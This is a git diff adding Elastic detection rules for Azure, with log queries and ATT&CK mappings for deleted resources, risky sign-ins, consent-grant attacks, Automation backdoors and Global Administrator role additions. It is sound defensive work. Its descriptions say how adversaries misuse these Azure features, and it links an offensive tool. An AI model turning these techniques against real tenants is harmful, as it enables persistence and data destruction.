+[rule] +author = ["Austin Songer"] +description = """ +Identifies the deletion of Azure Kubernetes Pods. Adversaries may delete a Kubernetes pod to disrupt the normal behavior +of the environment. +""" +false_positives = [ + """ + Pods may be deleted by a system administrator. Verify whether the user identity, user agent, and/or hostname + should be making changes in your environment. Pods deletions by unfamiliar users or hosts should be + investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Kubernetes Pods Deleted" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", +] +risk_score = 47 +rule_id = "83a1931d-8136-46fc-b7b9-2db4f639e014" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Asset Visibility"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/PODS/DELETE" and +event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" diff --git a/rules/integrations/azure/impact_resource_group_deletion.toml b/rules/integrations/azure/impact_resource_group_deletion.toml new file mode 100644 index 000000000..4803ecb68 --- /dev/null +++ b/rules/integrations/azure/impact_resource_group_deletion.toml @@ -0,0 +1,74 @@ +[metadata] +creation_date = "2020/08/17" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of a resource group in Azure, which includes all resources within the group. Deletion is +permanent and irreversible. An adversary may delete a resource group in an attempt to evade defenses or intentionally +destroy data. +""" +false_positives = [ + """ + Deletion of a resource group may be done by a system or network administrator. Verify whether the username, + hostname, and/or resource name should be making changes in your environment. Resource group deletions from + unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted + from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Resource Group Deletion" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-portal", +] +risk_score = 47 +rule_id = "bb4fe8d2-7ae2-475c-8b5d-55b449e4264f" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.RESOURCES/SUBSCRIPTIONS/RESOURCEGROUPS/DELETE" and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1485" +name = "Data Destruction" +reference = "https://attack.mitre.org/techniques/T1485/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/azure/impact_virtual_network_device_modified.toml b/rules/integrations/azure/impact_virtual_network_device_modified.toml new file mode 100644 index 000000000..7f13d6365 --- /dev/null +++ b/rules/integrations/azure/impact_virtual_network_device_modified.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/08/12" +maturity = "production" +updated_date = "2021/12/30" +integration = "azure" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies when a virtual network device is modified or deleted. This can be a network virtual +appliance, virtual hub, or virtual router. +""" +false_positives = [ + """ + Virtual Network Device modification or deletion may be performed by a system administrator. Verify + whether the user identity, user agent, and/or hostname should be making changes in your environment. + Virtual Network Device modification or deletion by unfamiliar users should be investigated. If known + behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Virtual Network Device Modified or Deleted" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations"] +risk_score = 21 +rule_id = "573f6e7a-7acf-4bcd-ad42-c4969124d3c0" +severity = "low" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Network Security"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:("MICROSOFT.NETWORK/NETWORKINTERFACES/TAPCONFIGURATIONS/WRITE" or +"MICROSOFT.NETWORK/NETWORKINTERFACES/TAPCONFIGURATIONS/DELETE" or "MICROSOFT.NETWORK/NETWORKINTERFACES/WRITE" or +"MICROSOFT.NETWORK/NETWORKINTERFACES/JOIN/ACTION" or "MICROSOFT.NETWORK/NETWORKINTERFACES/DELETE" or +"MICROSOFT.NETWORK/NETWORKVIRTUALAPPLIANCES/DELETE" or "MICROSOFT.NETWORK/NETWORKVIRTUALAPPLIANCES/WRITE" or +"MICROSOFT.NETWORK/VIRTUALHUBS/DELETE" or "MICROSOFT.NETWORK/VIRTUALHUBS/WRITE" or +"MICROSOFT.NETWORK/VIRTUALROUTERS/WRITE" or "MICROSOFT.NETWORK/VIRTUALROUTERS/DELETE") and +event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" diff --git a/rules/integrations/azure/initial_access_azure_active_directory_high_risk_signin.toml b/rules/integrations/azure/initial_access_azure_active_directory_high_risk_signin.toml new file mode 100644 index 000000000..71e355c47 --- /dev/null +++ b/rules/integrations/azure/initial_access_azure_active_directory_high_risk_signin.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2021/01/04" +maturity = "production" +updated_date = "2021/08/30" +integration = "azure" + +[rule] +author = ["Elastic", "Willem D'Haese"] +description = """ +Identifies high risk Azure Active Directory (AD) sign-ins by leveraging Microsoft's Identity Protection machine learning +and heuristics. Identity Protection categorizes risk into three tiers: low, medium, and high. While Microsoft does not +provide specific details about how risk is calculated, each level brings higher confidence that the user or sign-in is +compromised. +""" +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Active Directory High Risk Sign-in" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/howto-conditional-access-policy-risk", + "https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/overview-identity-protection", + "https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk", +] +risk_score = 73 +rule_id = "37994bca-0611-4500-ab67-5588afe73b77" +severity = "high" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.signinlogs and + (azure.signinlogs.properties.risk_level_during_signin:high or azure.signinlogs.properties.risk_level_aggregated:high) and + event.outcome:(success or Success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/integrations/azure/initial_access_azure_active_directory_high_risk_signin_atrisk_or_confirmed.toml b/rules/integrations/azure/initial_access_azure_active_directory_high_risk_signin_atrisk_or_confirmed.toml new file mode 100644 index 000000000..87075de4c --- /dev/null +++ b/rules/integrations/azure/initial_access_azure_active_directory_high_risk_signin_atrisk_or_confirmed.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2021/10/18" +maturity = "production" +updated_date = "2021/10/18" +integration = "azure" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies high risk Azure Active Directory (AD) sign-ins by leveraging Microsoft Identity Protection machine learning +and heuristics. +""" +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Active Directory High Risk User Sign-in Heuristic" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema", + "https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/overview-identity-protection", + "https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk", +] +risk_score = 47 +rule_id = "26edba02-6979-4bce-920a-70b080a7be81" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + + +query = ''' +event.dataset:azure.signinlogs and + azure.signinlogs.properties.risk_state:("confirmedCompromised" or "atRisk") and event.outcome:(success or Success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/integrations/azure/initial_access_azure_active_directory_powershell_signin.toml b/rules/integrations/azure/initial_access_azure_active_directory_powershell_signin.toml new file mode 100644 index 000000000..5c5b2e492 --- /dev/null +++ b/rules/integrations/azure/initial_access_azure_active_directory_powershell_signin.toml @@ -0,0 +1,63 @@ +[metadata] +creation_date = "2020/12/14" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies a sign-in using the Azure Active Directory PowerShell module. PowerShell for Azure Active Directory allows +for managing settings from the command line, which is intended for users who are members of an admin role. +""" +false_positives = [ + """ + Sign-ins using PowerShell may be done by a system or network administrator. Verify whether the username, hostname, + and/or resource name should be signing into your environment. Sign-ins from unfamiliar users or hosts should be + investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Active Directory PowerShell Sign-in" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "https://docs.microsoft.com/en-us/microsoft-365/enterprise/connect-to-microsoft-365-powershell?view=o365-worldwide", +] +risk_score = 21 +rule_id = "a605c51a-73ad-406d-bf3a-f24cc41d5c97" +severity = "low" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.signinlogs and + azure.signinlogs.properties.app_display_name:"Azure Active Directory PowerShell" and + azure.signinlogs.properties.token_issuer_type:AzureAD and event.outcome:(success or Success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" +[[rule.threat.technique.subtechnique]] +id = "T1078.004" +name = "Cloud Accounts" +reference = "https://attack.mitre.org/techniques/T1078/004/" + + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/integrations/azure/initial_access_consent_grant_attack_via_azure_registered_application.toml b/rules/integrations/azure/initial_access_consent_grant_attack_via_azure_registered_application.toml new file mode 100644 index 000000000..7b7556d24 --- /dev/null +++ b/rules/integrations/azure/initial_access_consent_grant_attack_via_azure_registered_application.toml @@ -0,0 +1,79 @@ +[metadata] +creation_date = "2020/09/01" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Detects when a user grants permissions to an Azure-registered application or when an administrator grants tenant-wide +permissions to an application. An adversary may create an Azure-registered application that requests access to data such +as contact information, email, or documents. +""" +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Possible Consent Grant Attack via Azure-Registered Application" +note = """## Triage and analysis + +- In a consent grant attack, an attacker tricks an end user into granting a malicious application consent to access their data, usually via a phishing attack. After the malicious application has been granted consent, it has account-level access to data without the need for an organizational account. +- Normal remediation steps, like resetting passwords for breached accounts or requiring Multi-Factor Authentication (MFA) on accounts, are not effective against this type of attack, since these are third-party applications and are external to the organization. +- Security analysts should review the list of trusted applications for any suspicious items. + + +## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-illicit-consent-grants?view=o365-worldwide", +] +risk_score = 47 +rule_id = "1c6a8c7a-5cb6-4a82-ba27-d5a5b8a40a38" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(azure.activitylogs or azure.auditlogs or o365.audit) and + ( + azure.activitylogs.operation_name:"Consent to application" or + azure.auditlogs.operation_name:"Consent to application" or + o365.audit.Operation:"Consent to application." + ) and + event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1566" +name = "Phishing" +reference = "https://attack.mitre.org/techniques/T1566/" +[[rule.threat.technique.subtechnique]] +id = "T1566.002" +name = "Spearphishing Link" +reference = "https://attack.mitre.org/techniques/T1566/002/" + + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1528" +name = "Steal Application Access Token" +reference = "https://attack.mitre.org/techniques/T1528/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/integrations/azure/initial_access_external_guest_user_invite.toml b/rules/integrations/azure/initial_access_external_guest_user_invite.toml new file mode 100644 index 000000000..c3d75fff2 --- /dev/null +++ b/rules/integrations/azure/initial_access_external_guest_user_invite.toml @@ -0,0 +1,67 @@ +[metadata] +creation_date = "2020/08/31" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies an invitation to an external user in Azure Active Directory (AD). Azure AD is extended to include +collaboration, allowing you to invite people from outside your organization to be guest users in your cloud account. +Unless there is a business need to provision guest access, it is best practice avoid creating guest users. Guest users +could potentially be overlooked indefinitely leading to a potential vulnerability. +""" +false_positives = [ + """ + Guest user invitations may be sent out by a system or network administrator. Verify whether the username, hostname, + and/or resource name should be making changes in your environment. Guest user invitations from unfamiliar users or + hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure External Guest User Invitation" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.microsoft.com/en-us/azure/governance/policy/samples/cis-azure-1-1-0"] +risk_score = 21 +rule_id = "141e9b3a-ff37-4756-989d-05d7cbf35b0e" +severity = "low" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Invite external user" and azure.auditlogs.properties.target_resources.*.display_name:guest and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/azure/persistence_azure_automation_account_created.toml b/rules/integrations/azure/persistence_azure_automation_account_created.toml new file mode 100644 index 000000000..cb6dd3dbc --- /dev/null +++ b/rules/integrations/azure/persistence_azure_automation_account_created.toml @@ -0,0 +1,64 @@ +[metadata] +creation_date = "2020/08/18" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies when an Azure Automation account is created. Azure Automation accounts can be used to automate management +tasks and orchestrate actions across systems. An adversary may create an Automation account in order to maintain +persistence in their target's environment. +""" +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Automation Account Created" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://powerzure.readthedocs.io/en/latest/Functions/operational.html#create-backdoor", + "https://github.com/hausec/PowerZure", + "https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a", + "https://azure.microsoft.com/en-in/blog/azure-automation-runbook-management/", +] +risk_score = 21 +rule_id = "df26fd74-1baa-4479-b42e-48da84642330" +severity = "low" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/WRITE" and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/azure/persistence_azure_automation_runbook_created_or_modified.toml b/rules/integrations/azure/persistence_azure_automation_runbook_created_or_modified.toml new file mode 100644 index 000000000..a71006a46 --- /dev/null +++ b/rules/integrations/azure/persistence_azure_automation_runbook_created_or_modified.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/08/18" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure +Automation runbook to execute malicious code and maintain persistence in their target's environment. +""" +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Automation Runbook Created or Modified" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://powerzure.readthedocs.io/en/latest/Functions/operational.html#create-backdoor", + "https://github.com/hausec/PowerZure", + "https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a", + "https://azure.microsoft.com/en-in/blog/azure-automation-runbook-management/", +] +risk_score = 21 +rule_id = "16280f1e-57e6-4242-aa21-bb4d16f13b2f" +severity = "low" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and + azure.activitylogs.operation_name: + ( + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/DRAFT/WRITE" or + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/WRITE" or + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/PUBLISH/ACTION" + ) and + event.outcome:(Success or success) +''' + diff --git a/rules/integrations/azure/persistence_azure_automation_webhook_created.toml b/rules/integrations/azure/persistence_azure_automation_webhook_created.toml new file mode 100644 index 000000000..7220f459a --- /dev/null +++ b/rules/integrations/azure/persistence_azure_automation_webhook_created.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/08/18" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies when an Azure Automation webhook is created. Azure Automation runbooks can be configured to execute via a +webhook. A webhook uses a custom URL passed to Azure Automation along with a data payload specific to the runbook. An +adversary may create a webhook in order to trigger a runbook that contains malicious code. +""" +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Automation Webhook Created" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://powerzure.readthedocs.io/en/latest/Functions/operational.html#create-backdoor", + "https://github.com/hausec/PowerZure", + "https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a", + "https://www.ciraltos.com/webhooks-and-azure-automation-runbooks/", +] +risk_score = 21 +rule_id = "e9ff9c1c-fe36-4d0d-b3fd-9e0bf4853a62" +severity = "low" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and + azure.activitylogs.operation_name: + ( + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/WEBHOOKS/ACTION" or + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/WEBHOOKS/WRITE" + ) and + event.outcome:(Success or success) +''' + diff --git a/rules/integrations/azure/persistence_azure_conditional_access_policy_modified.toml b/rules/integrations/azure/persistence_azure_conditional_access_policy_modified.toml new file mode 100644 index 000000000..fc6635d00 --- /dev/null +++ b/rules/integrations/azure/persistence_azure_conditional_access_policy_modified.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2020/09/01" +maturity = "production" +updated_date = "2022/02/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies when an Azure Conditional Access policy is modified. Azure Conditional Access policies control access to +resources via if-then statements. For example, if a user wants to access a resource, then they must complete an action +such as using multi-factor authentication to access it. An adversary may modify a Conditional Access policy in order to +weaken their target's security controls. +""" +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Conditional Access Policy Modified" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/overview"] +risk_score = 47 +rule_id = "bc48bba7-4a23-4232-b551-eca3ca1e3f20" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(azure.activitylogs or azure.auditlogs) and +event.action:"Update conditional access policy" and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/azure/persistence_azure_global_administrator_role_assigned.toml b/rules/integrations/azure/persistence_azure_global_administrator_role_assigned.toml new file mode 100644 index 000000000..eb931018e --- /dev/null +++ b/rules/integrations/azure/persistence_azure_global_administrator_role_assigned.toml @@ -0,0 +1,57 @@ +[metadata] +creation_date = "2022/01/06" +integration = "azure" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +In Azure Active Directory (Azure AD), permissions to manage resources are assigned using roles. The Global Administrator +is a role that enables users to have access to all administrative features in Azure AD and services that use Azure +AD identities like the Microsoft 365 Defender portal, the Microsoft 365 compliance center, Exchange, SharePoint Online, +and Skype for Business Online. Attackers can add users as Global Administrators to maintain access and manage all +subscriptions and their settings and resources. +""" +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure AD Global Administrator Role Assigned" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#global-administrator" +] +risk_score = 47 +rule_id = "04c5a96f-19c5-44fd-9571-a0b033f9086f" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.auditlogs and azure.auditlogs.properties.category:RoleManagement and +azure.auditlogs.operation_name:"Add member to role" and +azure.auditlogs.properties.target_resources.0.modified_properties.1.new_value:"\"Global Administrator\"" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1098/" +name = "Account Manipulation" +id = "T1098" + + [[rule.threat.technique.subtechnique]] + reference = "https://attack.mitre.org/techniques/T1098/003/" + name = "Add Office 365 Global Administrator Role" + id = "T1098.003" + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" diff --git a/rules/integrations/azure/persistence_azure_pim_user_added_global_admin.toml b/rules/integrations/azure/persistence_azure_pim_user_added_global_admin.toml new file mode 100644 index 000000000..5888f921a --- /dev/null +++ b/rules/integrations/azure/persistence_azure_pim_user_added_global_admin.toml @@ -0,0 +1,61 @@ +[metadata] +creation_date = "2020/09/24" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies an Azure Active Directory (AD) Global Administrator role addition to a Privileged Identity Management (PIM) +user account. PIM is a service that enables you to manage, control, and monitor access to important resources in an +organization. Users who are assigned to the Global administrator role can read and modify any administrative setting in +your Azure AD organization. +""" +false_positives = [ + """ + Global administrator additions may be done by a system or network administrator. Verify whether the username, + hostname, and/or resource name should be making changes in your environment. Global administrator additions from + unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted + from the rule. + """, +] +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Global Administrator Role Addition to PIM User" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles", +] +risk_score = 73 +rule_id = "ed9ecd27-e3e6-4fd9-8586-7754803f7fc8" +severity = "high" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.auditlogs and azure.auditlogs.properties.category:RoleManagement and + azure.auditlogs.operation_name:("Add eligible member to role in PIM completed (permanent)" or + "Add member to role in PIM completed (timebound)") and + azure.auditlogs.properties.target_resources.*.display_name:"Global Administrator" and + event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/azure/persistence_azure_privileged_identity_management_role_modified.toml b/rules/integrations/azure/persistence_azure_privileged_identity_management_role_modified.toml new file mode 100644 index 000000000..44a788198 --- /dev/null +++ b/rules/integrations/azure/persistence_azure_privileged_identity_management_role_modified.toml @@ -0,0 +1,63 @@ +[metadata] +creation_date = "2020/09/01" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Azure Active Directory (AD) Privileged Identity Management (PIM) is a service that enables you to manage, control, and +monitor access to important resources in an organization. PIM can be used to manage the built-in Azure resource roles +such as Global Administrator and Application Administrator. An adversary may add a user to a PIM role in order to +maintain persistence in their target's environment or modify a PIM role to weaken their target's security controls. +""" +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Privilege Identity Management Role Modified" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/azure/active-directory/privileged-identity-management/pim-resource-roles-assign-roles", + "https://docs.microsoft.com/en-us/azure/active-directory/privileged-identity-management/pim-configure", +] +risk_score = 47 +rule_id = "7882cebf-6cf1-4de3-9662-213aa13e8b80" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Update role setting in PIM" and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + 